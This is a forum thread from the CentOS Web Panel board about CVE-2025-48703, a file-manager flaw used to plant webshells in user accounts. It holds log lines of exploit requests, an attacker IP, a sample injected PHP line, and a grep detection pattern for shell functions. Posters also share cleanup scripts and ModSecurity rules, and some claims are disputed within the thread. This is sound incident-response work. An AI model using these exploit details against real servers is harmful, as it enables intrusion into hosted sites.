Control Web Panel
WebPanel => CentOS-WebPanel Bugs => Topic started by: kandalf on July 07, 2025, 03:29:52 PM
-
I’m reporting a critical security issue affecting multiple servers running CWP (CentOS Web Panel). During a security review on a Laravel-based website hosted via CWP, I found malicious PHP files in the public/ folder that allowed arbitrary code execution.
🛑 What I Found
On my server, inside /home/username/public_html/public/ and /home/username/public_html/, I found two suspicious files:
• nbpafebaef.jpg – Contains PHP code despite the .jpg extension:
<?php echo md5("gewafwaef1");die;?>
• defauit.php – A PHP script with a misleading name (looks like “default.php”).
These files execute when accessed via a browser. This confirms that PHP is being executed from the public folder, even if disguised with a .jpg extension.
🔍 Widespread Issue – Other Sites Also Affected
After further investigation, I found that other unrelated websites also running CWP have the exact same malicious files in the same locations:
• https://basaranturizm.com/
• https://coutos.pt/
This strongly suggests a systemic vulnerability, likely related to how CWP manages public folders or file permissions. These sites are not connected to me — I simply found them through Google search using the filename.
❗ Possible Vectors
Some possibilities include:
• Insecure permissions on public/ allowing PHP file uploads or writes
• Compromise via CWP File Manager or outdated software
• Global vulnerability in CWP’s file handling or directory security
⚠️ Request to CWP Team
Please investigate this urgently. It’s very likely that:
• CWP has a flaw allowing code execution in public folders
• Default permissions or services are enabling attackers to inject files across multiple servers
If CWP developers need any of the samples or log details, I’m happy to provide them privately.
-
Are you running malware detection scans on your system?
https://basaranturizm.com (https://basaranturizm.com) indeed serves up examples of these trojan files -- oddly that's all the domain serves and it allows file listing, so something is not normal about it. Looks to be PayPal scam related. Perhaps it is even a source domain for the files to be retrieved from. I located some of those files on a backup of a CentOS 7 system VM running Apache. One CentOS 7 system I have in legacy mode is clean -- but it runs Nginx, not Apache. Two newer AlmaLinux servers I have are clean. So my suspicion is that there is a weakness in the default Apache config on CWP or a problem with CentOS 7 systems -- all the more reason to get off of EL7 and get to an EL8 or EL9 foundation.
-
Scary but is it true?
What system does CWP run on?
Please provide the CWP version you are using?
Apache version?
PHP version for the CWP panel?
What web server?
Modsecirutes enabled? If so, in what version?
Roundcube in what version?
I am not affiliated with the creators of CWP, I just want to compare it with my installation. There could be many attack vectors.
-
My server have AlmaLinux 8, everything was updated and in the last version I have more servers only one was affected.
But all client accounts on the server have the same 2 files.
In the logs I found this
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:38 +0100] "POST /user1/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:39 +0100] "POST /user2/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:40 +0100] "POST /user3/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:41 +0100] "POST /user4/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:41 +0100] "POST /user5/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
/usr/local/cwpsrv/logs/access_log:127.0.0.1 - - [04/Jul/2025:16:50:42 +0100] "POST /user6/index.php?module=filemanager&acc=findFiles HTTP/1.0" 302 16 "-" "python-requests/2.18.4"
This is at the same time that defauit.php was created the nbpafebaef.jpg was created some days after.
On root /tmp folder I found to suspect files:
/tmp/.auto_monitor and /tmp/.tmp_baf
.auto_monitor was the file tht have the code to duplicate the .tmp_baf on each account and rename it to efauit.php
-
Actually, it looks to be a Thai porno/romance portal -- the PayPal payment script is probably to reel in payments.
https://www.nongwangkudrung.go.th/video/
(not going to make this a clickable link)
-
Well, I figured the bug out. It is bad. Quite bad. Lock down your file manager is all I can say publicly for obvious reasons.
But yeah, you can upload arbitrary files to any CWP user as long as you know (or can guess) their username.
Just registered on here after testing this on my own CWP installation out of curiosity (and wanting to make sure my servers are secure).
Does anyone know a security contact at CWP I could poke? Just using their "contact us" form as well, I suppose.
-
Since I realized I can't edit my own posts and I forgot better instructions.
You want to delete /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or rename it to like filemanager.php.disabled, make sure it no longer has .php extension at the end)
-
Thanks for that.
I'm wondering (maybe it sounds stupid) but if a malware can elevate their permissions to "root" level, then file uploads would be the least of my concern?
Else how can the malware read, write, or execute anything on this file if it is under 644 root ownership?
Again it might sound stupid. Newbie here.
-
You’re absolutely right to be concerned — and I believe we may be dealing with two distinct but related security issues.
Issue 1: File Manager Vulnerability (Confirmed)
As already pointed out, the filemanager.php module in CWP seems to allow arbitrary file upload to any user account, as long as the attacker can guess the username. This is a critical flaw in access control and should be treated as a top-priority zero-day vulnerability.
This alone explains how attackers managed to inject malicious files like defauit.php or nbpafebaef.jpg across multiple accounts.
➡️ Temporary mitigation: Disable or rename the file:
/usr/local/cwpsrv/var/services/user_files/modules/filemanager.php
I’ve renamed it to filemanager.php.disabled to block access while waiting for an official fix.
Issue 2: Lateral File Injection via /tmp (Needs confirmation)
What’s particularly concerning is that on my server, all user accounts had identical malicious files — including accounts with no websites or activity.
I found two suspicious scripts in /tmp/:
• /tmp/.auto_monitor: Contains code to iterate over all user accounts and drop malicious files
• /tmp/.tmp_baf: A payload later renamed per user as defauit.php
The auto_monitor script appears to loop through /home/*/public_html/ and replicate the payload across accounts.
Now, here’s the key problem:
Even if filemanager.php was used to inject a file into one account, it doesn’t explain how the malware was then able to write to other accounts — unless:
1. The injected script gained elevated privileges or exploited a weak configuration
2. Some CWP service or cron is running PHP scripts from /tmp under a shared or root context
3. There’s a misconfigured global process that allows cross-account write access from within user space
This part needs deeper analysis. But the implications are very serious:
Even a single compromised account could lead to full lateral infection.
-
New update this security issue is already public on https://fenrisk.com/rce-centos-webpanel and https://cybersecuritynews.com/linux-centos-web-panel-vulnerability/, with code CVE-2025-48703.
This articles tell that this is already fixed on 0.9.8.1205 but Im on 0.9.8.1206 and I have the problem.
Please we need some update from someone on the CWP Team
-
So according to the 2 vulnerability reports you mentioned, it's limited to EOL CentOS 7 systems -- for which support ended over a year ago. Not too surprising, really. The longer those systems are on the internet, the more of sitting ducks they become. Time to migrate to AlmaLinux!
Can you confirm that you both are running CentOS 7 systems?
Caught one probe for this vuln on one of my Alma systems, coming from Hong Kong:
[root@alma]# grep "module=filemanager" /usr/local/cwpsrv/logs/access_log
91.124.30.69 - - [08/Jul/2025:04:50:00 -0500] "POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1" 404 147 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:134.0) Gecko/20100101 Firefox/134.0"
-
So according to the 2 vulnerability reports you mentioned, it's limited to EOL CentOS 7 systems -- for which support ended over a year ago. Not too surprising, really. The longer those systems are on the internet, the more of sitting ducks they become. Time to migrate to AlmaLinux!
Can you confirm that you both are running CentOS 7 systems?
Caught one probe for this vuln on one of my Alma systems, coming from Hong Kong:
[root@alma]# grep "module=filemanager" /usr/local/cwpsrv/logs/access_log
91.124.30.69 - - [08/Jul/2025:04:50:00 -0500] "POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1" 404 147 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:134.0) Gecko/20100101 Firefox/134.0"
No is not, this is a panel issue (Im in version 0.9.8.1206), I use AlmaLinux 8 not CentOS 7. This is is a Filemanager issue, is better to remove the filemananger for now.
-
It is indeed a filemanager issue. I have tested found the vulnerability by testing against my own CWP server (which is up fully up to date, and runs AlmaLinux 8 ).
You can effectively convince the filemanager to perform any operation without being correctly authenticated as any user (so long you know or can guess their username).
Luckily, this does not work against the "root" user, only valid CWP users, so it does not allow for total system compromise.
As for why it makes non-.php files run as code? Possibly a malicious ".htaccess" file or similar could be uploaded to changes the handler directives, or another vulnerability (which I did not discover) allows reconfiguring the webserver.
I tried reporting the issue (privately) using the contact form and have been informed I need a support subscription, and have responded that I will not pay for reporting security issues. If I get another negative response, I might have to put the information into the bug tracker so the engineers actually can see it, but I would really rather avoid sharing any information in public to not cause this to be exploited even more widely than it already seems to be.
The easiest sign of a compromise (or attempt) through this bug are POST calls to "/USERNAME/index.php?module=filemanager&..." with a 302 response code in your logs, especially with non-browser user-agents.
I am also not sure what the discussion of "execution" here is, PHP does not care if a file is chmod 644 or 755 or anything else, so long as it can read the file, it can (and will) run the file when accessed via a browser through the webserver.
There might well be more security issues present in CWP, given the one I found was not too difficult to discover, that allow actually running arbitrary commands or things of that nature, but checking is hard as all of CWP is encoded with ionCube, and therefor I have to try random things to see what happens, I can't just read the code.
I will look for more issues in the filemanager code myself as well, just for completeness sake.
And again, if anyone knows of a way to (privately) report this to CWP without telling potential "bad guys" the exact exploit path, please tell me.
If anyone needs verification of this bug, feel free to create me a test user on a CWP installation of your choice and I can upload a (harmless!) file using the exploit.
-
It is indeed a filemanager issue. I have tested found the vulnerability by testing against my own CWP server (which is up fully up to date, and runs AlmaLinux 8 ).
You can effectively convince the filemanager to perform any operation without being correctly authenticated as any user (so long you know or can guess their username).
Luckily, this does not work against the "root" user, only valid CWP users, so it does not allow for total system compromise.
As for why it makes non-.php files run as code? Possibly a malicious ".htaccess" file or similar could be uploaded to changes the handler directives, or another vulnerability (which I did not discover) allows reconfiguring the webserver.
I tried reporting the issue (privately) using the contact form and have been informed I need a support subscription, and have responded that I will not pay for reporting security issues. If I get another negative response, I might have to put the information into the bug tracker so the engineers actually can see it, but I would really rather avoid sharing any information in public to not cause this to be exploited even more widely than it already seems to be.
The easiest sign of a compromise (or attempt) through this bug are POST calls to "/USERNAME/index.php?module=filemanager&..." with a 302 response code in your logs, especially with non-browser user-agents.
I am also not sure what the discussion of "execution" here is, PHP does not care if a file is chmod 644 or 755 or anything else, so long as it can read the file, it can (and will) run the file when accessed via a browser through the webserver.
There might well be more security issues present in CWP, given the one I found was not too difficult to discover, that allow actually running arbitrary commands or things of that nature, but checking is hard as all of CWP is encoded with ionCube, and therefor I have to try random things to see what happens, I can't just read the code.
I will look for more issues in the filemanager code myself as well, just for completeness sake.
And again, if anyone knows of a way to (privately) report this to CWP without telling potential "bad guys" the exact exploit path, please tell me.
If anyone needs verification of this bug, feel free to create me a test user on a CWP installation of your choice and I can upload a (harmless!) file using the exploit.
It’s completely unacceptable that no one from the CWP team has replied to us. This issue was identified as early as June 22nd and was supposedly fixed, yet it continues to occur.
-
It seems like the filemanager is riddled with bugs itself (beyond its authentication bypass). Without looking too hard, I have now also managed to find a command injection vulnerability (as in, you can get it to run arbitrary shell commands as the user), which might explain another path how these malicious scripts run.
From how quickly I found this after probing random features, it is likely there's more as well, they might just be harder to find, or I didn't try them, yet.
I have also poked around at the other various endpoints in CWP, those seem to validate authentication correctly. But the filemanager code just seems to be of substantially worse quality than the rest of CWP (not sure why, as I can't read the code as previously mentioned, just judging from finding multiple bugs very easily, while the rest of CWP seems to hold up to some poking and prodding)
I do agree, this necessitates an immediate response as it puts every single user of CWP at high risk. Really only a matter of time until some scanner finds any CWP installation and tries to exploit it.
As for lateral movement: That is quite easy. You can simply list all folders in /home (which reveals all usernames) and repeat the exploit against every single user (possibly via the above mentioned command injection to bypass mitigations like open_basedir). You can likely even run the exploit locally from the machine itself. As mentioned, the exploit works against any valid user. And with one, you can enumerate all users.
To reiterate, this allows dropping files and running shell commands as any CWP user, no matter if they have an active domain or not. It does not allow going to "root" or "admin" levels.
So, all existing symptoms (lateral movement after finding a single user, uploading files into user's /home folders, and running files) can currently be explained with the filemanager vulnerabilities.
If any files are running as root, then everything gets much worse, but so far I have not found a path to root user / system compromise. That does not mean it is impossible, of course.
For now, however, I would like to repeat: Make sure no one can access your filemanager by deleting the file /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or renaming it to filemanager.php.disabled).
-
Might need some more street cred here than just the 4 posts on this thread before people listen to the advice and go deleting (!) their filemanagers... A Chicken Little response doesn't usually end up well.
But, the file manager always has struck me as a sore thumb, bolted on to CWP -- and it looks to be an implementation of the Vue library, with treeVue and other JS integrated. Probably overdue for some attention & modernization. It hasn't changed much at all over the last 5+ years. Probably plenty of fleas...
-
Might need some more street cred here than just the 4 posts on this thread before people listen to the advice and go deleting (!) their filemanagers... A Chicken Little response doesn't usually end up well.
But, the file manager always has struck me as a sore thumb, bolted on to CWP -- and it looks to be an implementation of the Vue library, with treeVue and other JS integrated. Probably overdue for some attention & modernization. It hasn't changed much at all over the last 5+ years. Probably plenty of fleas...
Firstly, I didn't say delete, I said rename a single file that inconveniences your users slightly (they now have to use SFTP or FTP to change files, rather than a WebUI), not a core feature of CWP in the first place. You could always install a WebFTP plugin to temporarily stopgap the functionality, too.
Further, I can't force people to listen, nor do I intend to try. I'm doing my best to keep people safe. And, as stated, am willing to prove the exploit is real if that helps people feel better about it (without giving it away of course, since not wanting it to spread).
What people do with the information I provide is up to them.
Lastly, I have gotten a response from CWP support they'll have a developer look at my report, so let's hope something good comes out of that before more people get their websites turned into malware.
-
You want to delete /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or rename it to like filemanager.php.disabled, make sure it no longer has .php extension at the end)
For now, however, I would like to repeat: Make sure no one can access your filemanager by deleting the file /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or renaming it to filemanager.php.disabled).
-
You want to delete /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or rename it to like filemanager.php.disabled, make sure it no longer has .php extension at the end)
For now, however, I would like to repeat: Make sure no one can access your filemanager by deleting the file /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php (or renaming it to filemanager.php.disabled).
Exactly, delete OR rename. I don't see your point.
-
Firstly, I didn't say delete, I said rename a single file that inconveniences your users slightly...
But you did say delete, quoted twice in the previous posts on this thread. I call that dubious advice, as with removing the .php extension -- which won't neuter it -- a file containing PHP code can still be run by a php interpreter.
-
Firstly, I didn't say delete, I said rename a single file that inconveniences your users slightly...
But you did say delete, quoted twice in the previous posts on this thread. I call that dubious advice, as with removing the .php extension -- which won't neuter it -- a file containing PHP code can still be run by a php interpreter.
Yes, but the loader of CWP will not find the file, and therefor not load it. That is what matters here. The file being loaded by the index.php in some way, and if it is renamed, that won't happen.
Also the file is literally part of the CWP distribution, so even if you delete it and want it back, it isn't like it is hand written custom code. It takes 5 minutes to get back at the most.
People like you really make me think twice about trying to help others out. Talking with such upmost confidence of things you obviously haven't tried.
-
I can find attempts to use the exploit too but thus far they are having no luck & I can find no introduced files in home or tmp directories. I run Alma 8.
[06/Jul/2025:01:21:48 +1000] "POST /user/index.php?module=filemanager&acc=findFiles HTTP/1.0" 403 199 - Was from a ColoCrossing IP (no surprises there).
Have renamed file manager for security and shall actively watch.
-
Firstly, I didn't say delete, I said rename a single file that inconveniences your users slightly...
But you did say delete, quoted twice in the previous posts on this thread. I call that dubious advice, as with removing the .php extension -- which won't neuter it -- a file containing PHP code can still be run by a php interpreter.
You are gravely mistaken about this.
This is a critical security issue. I've included two links from official security sources that detail the problem: https://fenrisk.com/rce-centos-webpanel and https://cybersecuritynews.com/linux-centos-web-panel-vulnerability/.
Doridian did an excellent job by adding a temporary fix to prevent more attacks. If you don't believe us, then please stop making unhelpful comments.
Otherwise, give us a domain and user account from one of your servers, and we'll prove you wrong.
-
Funny, this started as an information sharing thread but then devolved from there -- getting into sour personal attacks. I'm sorry I ever touched this tar baby. My point was, I can appreciate your report and will keep it on the radar because I see that you have a history here and contribute in a meaningful way. But when someone brand new comes on the scene trotting out security buzzwords and offering dubious advice about deleting the filemanager (instead of mitigating the attack vector in a non-destructive way)... well, take that for what it is. I'll go back to monitoring my servers now.
(Both security disclosures you linked to claim the CWP devs have patched the flaw, and both indicated it was against CentOS 7 -- so it bears monitoring but not hyperventilating.)
-
Funny, this started as an information sharing thread but then devolved from there -- getting into sour personal attacks. I'm sorry I ever touched this tar baby. My point was, I can appreciate your report and will keep it on the radar because I see that you have a history here and contribute in a meaningful way. But when someone brand new comes on the scene trotting out security buzzwords and offering dubious advice about deleting the filemanager (instead of mitigating the attack vector in a non-destructive way)... well, take that for what it is. I'll go back to monitoring my servers now.
(Both security disclosures you linked to claim the CWP devs have patched the flaw, and both indicated it was against CentOS 7 -- so it bears monitoring but not hyperventilating.)
That’s not accurate. The problem isn’t limited to CentOS 7 — it also affects AlmaLinux 8. The vulnerability lies in filemanager.php, which is written in PHP and is identical across all supported OSes. What changes between CentOS and AlmaLinux is the system environment, not the CWP PHP panel code.
All six of my servers run AlmaLinux 8, and three were compromised due to this exact issue.
I don’t know Doridian personally, but his suggested solution is a good temporary mitigation. Renaming or removing filemanager.php is low-risk, and CWP will restore it once an official patch is released. I’ve renamed it on all my servers, it’s a simple step to reduce exposure.
This is a critical vulnerability, and it is not fixed in the current version, despite what the articles say.
You can check if your server might have been affected by running:
find /home -type f -name "defauit.php" 2>/dev/null
That file (defauit.php with an “i”) appeared across all compromised accounts on my affected servers.
-
I had the same problem, was going crazy, thinking it was a wordpress vulnerability, then started seeing processes from one user trying to access other users. This made me notic only 3 of my users are in jail and others aren't, no idea why this behaviour by CWP.
I've ran:
find / -type f \( -name "defauit.php" -o -name "nbpafebaef.jpg" \) -exec rm -f {} + 2>/dev/nullto delete all of this 2 files.
I've also renamed filemanager.php
Could any one provide with more insight/what more steps should be done to make sure it's clean?
-
I had the same problem, was going crazy, thinking it was a wordpress vulnerability, then started seeing processes from one user trying to access other users. This made me notic only 3 of my users are in jail and others aren't, no idea why this behaviour by CWP.
I've ran:
find / -type f \( -name "defauit.php" -o -name "nbpafebaef.jpg" \) -exec rm -f {} + 2>/dev/nullto delete all of this 2 files.
I've also renamed filemanager.php
Could any one provide with more insight/what more steps should be done to make sure it's clean?
What do you mean by “my users are in jail”?
Also, make sure to delete two hidden files that may have been used in the attack. They were found in /tmp on my compromised servers:
• .tmp_baf
• .auto_monitor
These files are part of the script that spreads the malicious payload across all user accounts.
Let us know if you find anything else suspicious, we’re trying to understand the full scope of this breach.
-
I noticed I had 3 users in /home/jail/ possibly from jailkit. But I never actually made any configs about this, so 3 of my users are using it, and the others aren't. That's just something odd but probably unrelated.
About the hidden files, just deleted them, thanks!
I had first renamed /tmp to /tmp_inf and created a new /tmp but that broke my websites sessions.
I will try to help as I can, I only have medium server experience!
I've noticed some executables and scripts being created and hidden inside wordpress folders, I've cleared them but if more appear I'll share here the names and contents.
-
Also just to confirm, I am indeed using AlmaLinux 8.10 (Cerulean Leopard)
-
# CVE-2025-48703 Vulnerability and Implemented Security Measures
Hello CWP Community,
We recently became aware of a security vulnerability identified as **CVE-2025-48703**, affecting the file manager module in CWP. You can find more details on [GitHub](https://github.com/trh4ckn0n/CVE-2025-48703 (https://github.com/trh4ckn0n/CVE-2025-48703)). To help the community, I’d like to share the steps we took to secure our server (running CentOS 8.5.2111 with CWP).
## Implemented Security Measures
1. **Blocking File Manager Access**
The vulnerability involves the file manager module. To mitigate this, we added the following `.htaccess` rules to all users’ `public_html` directories:
```apache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} module=filemanager&acc=findFiles [NC]
RewriteRule ^ - [F,L]
</IfModule>
```
We applied these rules across all relevant user directories.
2. **Firewall Blocking for Suspicious Access**
We blocked suspicious IP addresses using the firewall:
```bash
firewall-cmd --permanent --add-source=<suspicious-ip> --zone=block
firewall-cmd --reload
```
3. **Fixing User Permissions**
To correct file and directory permissions, we used CWP’s permission repair script:
```bash
/usr/local/cwpsrv/htdocs/resources/scripts/fixperms <username>
```
4. **CWP Update**
We updated CWP to the latest version:
```bash
/usr/local/cwpsrv/htdocs/resources/scripts/update_cwp
```
5. **Malware Scanning**
We performed scans to detect malicious files:
```bash
/usr/local/cwpsrv/htdocs/resources/scripts/maldet_scan
rkhunter --check
```
6. **PHP File Monitoring System**
For our high-traffic server, we developed a script to monitor newly created `.php` files. The script recursively monitors user directories, skips session files (e.g., `sess_*`), and sends hourly email notifications for detected `.php` files. It uses `inotify-tools` and is compatible with CentOS 8. If you’d like the script details, please let me know!
## Additional Recommendations
- **Email Notifications**: We use Postfix for email notifications. If you encounter email issues, check the Postfix logs:
```bash
tail -n 50 /var/log/maillog
```
Alternatively, you can configure Gmail SMTP:
```bash
dnf install -y cyrus-sasl-plain
nano ~/.mailrc
```
Contents:
```
set from="your-email@gmail.com"
set smtp=smtp.gmail.com:587
set smtp-auth-user=your-email@gmail.com
set smtp-auth-password=your-app-specific-password
set smtp-auth=login
set ssl-verify=ignore
```
- **inotify Limits**: For recursive monitoring on high-traffic servers, we increased `inotify` limits:
```bash
echo 524288 | sudo tee /proc/sys/fs/inotify/max_user_watches
sudo sysctl -p
```
These measures have secured our server and enabled us to monitor new `.php` files effectively. If you’ve encountered CVE-2025-48703 or implemented additional measures, please share your experiences. Community feedback is invaluable!
Thank you,
Mr Green
-
@mrgreen Thank you for this valuable feedback and GitHub link!
On our end, since Maldet's signature is from February and Rkhunter is discontinued since 2018, we actually ran Thor Lite w/ a collection of YARA custom rules to find and clean everything across the server.
Besides that, we blocked access to "module=filemanager&acc=findFiles" through CloudFlare only allowing our Whitelist of IPs to access it.
Would you be so kind as to share the inotify script for the .php files?
-
My Approach to Stopping the CWP File‑Manager Exploit
- 1. Scan & Identify Malware
• Searched for obfuscated PHP payloads
grep -rniE "(eval\s*\(|base64_decode|gzinflate|str_rot13|shell_exec|proc_open|passthru|system)" \
/home/*/public_html/
• Caught the classic pair in every account:
nbpafebaef.jpg (PHP in disguise)
defauit.php (web‑shell)
• Found tmp propagators reported in the forum thread:
/tmp/.auto_monitor and /tmp/.tmp_baf[/li]
[li]2. Clean & Quarantine
mkdir /root/quarantine
mv /home/*/public_html/{nbpafebaef.jpg,defauit.php} /root/quarantine 2>/dev/null
mv /tmp/.auto_monitor /tmp/.tmp_baf /root/quarantine
• Manually opened every recently‑modified functions.php; all were clean, so no theme replacement required.[/li]
[li]3. Global Block via ModSecurity (NOT .htaccess)
Added to /usr/local/apache/modsecurity-cwaf/custom_user.conf:
# Put your custom ModSecurity directives here
# Please don't remove this file
# Block CWP filemanager exploit attempts (CVE-2025-48703)
SecRule REQUEST_URI "@contains /user/index.php" \
"id:4870301,phase:2,deny,status:403,log,msg:'[CWP Exploit Block] Block access to module=filemanager&acc=findFiles',\
chain"
SecRule ARGS:module "@streq filemanager" \
"chain"
SecRule ARGS:acc "@streq findFiles"
Restart Apache:
systemctl restart httpd[/li]
[li]4. Verification (cURL)
curl -X POST "https://your-domain.com/user/index.php?module=filemanager&acc=findFiles" \
-A "Mozilla" -I
# Expected: HTTP/1.1 403 Forbidden
403 confirms ModSecurity now blocks the exploit endpoint for every vHost.[/li]
Result: Infection removed, endpoint sealed, and logfile shows only blocked attempts.
Hope this helps anyone still cleaning up from the same CVE!
-
I saw that a new version was released 0.9.8.1207, did this update fix the filemanager exploit?
CWP team is doing a really bad job, no official reply no information, completely unreal.
-
I saw that a new version was released 0.9.8.1207, did this update fix the filemanager exploit?
CWP team is doing a really bad job, no official reply no information, completely unreal.
Sure would be nice to know.
-
Can someone test the latest version to see if the exploit still works?
-
just checked it, fixed. can someone also please validate the same.
-
just checked it, fixed. can someone also please validate the same.
I checked on my server. IT fixed on version 1207
-
I just saw I was affected by this issue. The php file was in each of my /home/ directories public_html folder. The modified date for the file was July 6 but my CWPpro version is currently 0.9.8.1207. Is there a way to find out exactly when this version was released?
-
🛡️ REAL-TIME MALWARE PROTECTION FOR CWP/CENTOS – Auto-remove defauit.php & nbpafebaef.jpg
This guide helps you automatically detect and remove dangerous PHP backdoors named:
- defauit.php (typo: not default)
- nbpafebaef.jpg (a disguised PHP file)
These are known malware injected in CWP-based servers. We will:
- Quarantine existing files
- Monitor /home in real-time
- Auto-remove any newly created malicious files
Works on CentOS / AlmaLinux / CloudLinux using systemd + inotify.
---
✅ STEP 1 – Install inotify-tools
yum install -y inotify-tools
---
✅ STEP 2 – Create the watcher script
nano /usr/local/bin/watch_defauit.sh
Paste this content:
#!/bin/bash
WATCH_DIR="/home"
LOGFILE="/var/log/defauit_watch.log"
QUARANTENA="/root/quarantena_php"
mkdir -p "$QUARANTENA"
echo "### START $(date) - Initial scan" >> "$LOGFILE"
# PHASE 1 – Find and move existing malicious files
find "$WATCH_DIR" -type f \( -name "defauit.php" -o -name "nbpafebaef.jpg" \) | while read FILE; do
echo "[!] FOUND EXISTING: $FILE → Moved to quarantine" | tee -a "$LOGFILE"
mv "$FILE" "$QUARANTENA/" 2>/dev/null
done
# PHASE 2 – Live monitoring
inotifywait -mr -e create -e moved_to --format '%w%f' "$WATCH_DIR" | while read FILE; do
BASENAME=$(basename "$FILE")
if [[ "$BASENAME" == "defauit.php" || "$BASENAME" == "nbpafebaef.jpg" ]]; then
echo "[!] NEW FILE DETECTED: $FILE → Moved to quarantine" | tee -a "$LOGFILE"
mv "$FILE" "$QUARANTENA/" 2>/dev/null
fi
done
Make it executable:
chmod +x /usr/local/bin/watch_defauit.sh
---
✅ STEP 3 – Create the systemd service
nano /etc/systemd/system/watch-defauit.service
Paste this config:
[Unit]
Description=Live watch for defauit.php & nbpafebaef.jpg
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/watch_defauit.sh
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
Enable and start the service:
systemctl daemon-reexec
systemctl daemon-reload
systemctl enable --now watch-defauit.service
---
✅ STEP 4 – Increase inotify watch limit (if needed)
If you get "upper limit on inotify watches reached" error:
echo fs.inotify.max_user_watches=524288 >> /etc/sysctl.conf
sysctl -p
---
✅ RESULT
- All existing and new files named defauit.php or nbpafebaef.jpg under /home will be moved to:
/root/quarantena_php/
- A log of all detections is saved in:
/var/log/defauit_watch.log
---
Stay safe!
-
In the server-world, blindly following advice & installing scripts from people with a total of ONE post on this forum is the equivalent of taking candy from strangers.
If you keep your server updated, this was fixed 2 weeks ago by the CWP dev team. And by now if the perpetrators have any sense, the IOC has changed and it won't do any good to look for files named those strings.
-
I also see this file in atleast one of my sites.
Now what is the proper solution to fix this?
I have AL 8 with latest CWP
-
Are you running malware detection scans on your system?
ClamAV Maldet Scan do not detect these 2 files
I am running 3 VPS with AL8
All 3 are affected.
Have manually removed these files
Have the latest CWP
Anthing else to be done? Please suggest
-
See @overseer Reply #39
As long as your AL is up2date run:
dnf --refresh updateand you are running 0.9.8.1210 you should be fine.
But also having a secure PHP helps, by default CWP leaves nothing disabled so users can configure their server as they need.
ModSecurity has also been catching this, which again, needs to be kept updated.
-
I have 3 servers running Alma 8 with CWP Pro updated as of today. I install updates every day as they are released.
In addition to all CWP security features being active, I use Fail2ban, but clearly nothing stopped the malware injection, since an exploit in the file manager was used.
On some sites, I found both files (defauit.php and the .jpg), and in the /home directories where there were no hosted files, only defauit.php was present. I manually deleted the files from each home directory one by one, then searched across all servers for any remaining ones using this command, and double-checked by reviewing the logs — keeping in mind that if an account has subdomains, it's also necessary to search and delete defauit.php and the .jpg from those folders too.
COMMON DATA:
The Attacker’s IP
Initial Date: July 4th
grep "defauit.php" /usr/local/apache/logs/access_log*
and it will show us ::
198.144.182.13 - - [06/Jul/2025:12:27:39 -0300] "POST /defauit.php?id=1 HTTP/1.0" 200 34
198.144.182.13 - - [06/Jul/2025:12:50:56 -0300] "GET /defauit.php?id=1 HTTP/1.0" 200 1
198.144.182.13 - - [06/Jul/2025:12:50:56 -0300] "POST /defauit.php?id=1 HTTP/1.0" 200 34
198.144.182.13 - - [06/Jul/2025:13:00:05 -0300] "POST /defauit.php?id=1 HTTP/1.0" 200 34
198.144.182.13 - - [06/Jul/2025:14:36:03 -0300] "POST /defauit.php?id=1 HTTP/1.0" 200 34
198.144.182.13 - - [06/Jul/2025:15:59:39 -0300] "POST /defauit.php?id=1 HTTP/1.0" 301 255
I didn't find the files .auto_monitor and/or .tmp_baf on any server
find /home/*/tmp -type f -name ".auto_monitor" 2>/dev/null
find /home/*/tmp -type f -name ".auto_monitor" -exec ls -l {} \; 2>/dev/nul
As an additional measure, I added the source IP (198.144.182.13) to the blocked IPs in CSF, since I see it's the same for all cases. I also inserted the mentioned rule in ModSecurity, correcting the last line (the \ was missing)
/usr/local/apache/modsecurity-cwaf/custom_user.conf:
# Block CWP filemanager exploit attempts (CVE-2025-48703)
SecRule REQUEST_URI "@contains /user/index.php" \
"id:4870301,phase:2,deny,status:403,log,msg:'[CWP Exploit Block] Block access to module=filemanager&acc=findFiles',chain"
SecRule ARGS:module "@streq filemanager" \
"chain"
SecRule ARGS:acc "@streq findFiles" \
I also made sure everything was up to date using dnf --refresh update.
Remember to check the subdomains and make sure this doesn't happen again!
-
Hi, I have 6 servers and the same error occurs on all of them. A new version, 0.9.8.1211, was released this week.
Does anyone know if the error has been fixed yet?
I renamed the browser file again and it works again for clients...
Does anyone have more information?
Thanks!!
-
This is NOT a CWP bug.
PHP Injection Attacks will happen whenever.
You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4
You'll also need to configured the OWASP base rules for services you run on that server.
NOTE: The CWAF ruleset is dead, and the last update was over a year ago.
Which is sad, this was a great ruleset.
For the PHP Injection Attack that has been going around, there has been fixes here how to clean up your PHP-FPM.
-
Same problem here, someone fixed it?
-
You can Google the fix, it's a standard PHP Injection Attack due to an insure PHP configuration.
It also only affects people still using the EOL CentOS 7 OS.
But I think someone posted the fix here in one of the threads as well.
-
🛑 What I Found
On my server, inside /home/username/public_html/public/ and /home/username/public_html/, I found two suspicious files:
• nbpafebaef.jpg – Contains PHP code despite the .jpg extension:
<?php echo md5("gewafwaef1");die;?>
